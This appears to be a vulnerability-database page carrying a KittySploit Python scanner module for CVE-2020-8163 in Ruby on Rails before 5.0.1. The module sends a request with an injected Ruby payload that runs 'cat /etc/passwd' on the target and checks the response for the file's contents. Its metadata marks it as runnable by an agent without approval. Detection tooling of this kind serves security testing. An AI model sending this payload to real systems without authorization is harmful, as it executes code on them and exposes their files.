Lucene search
+L

Ruby on Rails <5.0.1 - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Ruby on Rails remote code execution via user parameters passed as local variables into partials.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails before version 5."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Ruby on Rails <5.0.1 - Remote Code Execution Detection',
        'description': 'Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'rails', 'rce', 'hackerone', 'rubyonrails', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://hackerone.com/reports/304805',
            'https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0',
            'https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-8163',
        ],
        'cve': 'CVE-2020-8163',
    }

    def run(self):
        r = self.http_request(method="GET", path='/?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Ruby on Rails <5.0.1 - Remote Code Execution detected",
                path='/?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.2High risk
Vulners AI Score8.2
CVSS 26.5
CVSS 3.18.8
EPSS0.82047
3